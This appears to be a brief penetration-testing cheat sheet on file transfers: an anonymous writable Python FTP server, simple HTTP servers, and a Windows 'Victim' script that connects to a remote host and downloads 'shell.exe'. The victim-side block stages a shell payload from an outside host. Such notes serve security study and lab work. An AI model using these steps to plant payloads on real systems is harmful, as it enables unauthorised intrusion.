File Transfers for The Rest of Us

This page is a work in progress and will update over time.

Python FTP

sudo apt-get install python-pyftpdlib-doc
sudo python3.8 -m pyftpdlib -p 21 -w

# w: Anonymous FTPd with write permission:

# # # From Linux # # # #
ftp 19.168.119.111

# Use get  and put to transfer files

# Or 

# Victim 
echo open 10.11.1.1>ftp.txt
echo anonymous>>ftp.txt
echo password>>ftp.txt
echo binary>>ftp.txt
echo get shell.exe>>ftp.txt 
echo bye>>ftp.txt
ftp -s:ftp.txt

####  ####
From Windows


File Servers

python -m http.server 7331

ruby -run -e httpd . -p 9000

busybox httpd -f -p 1000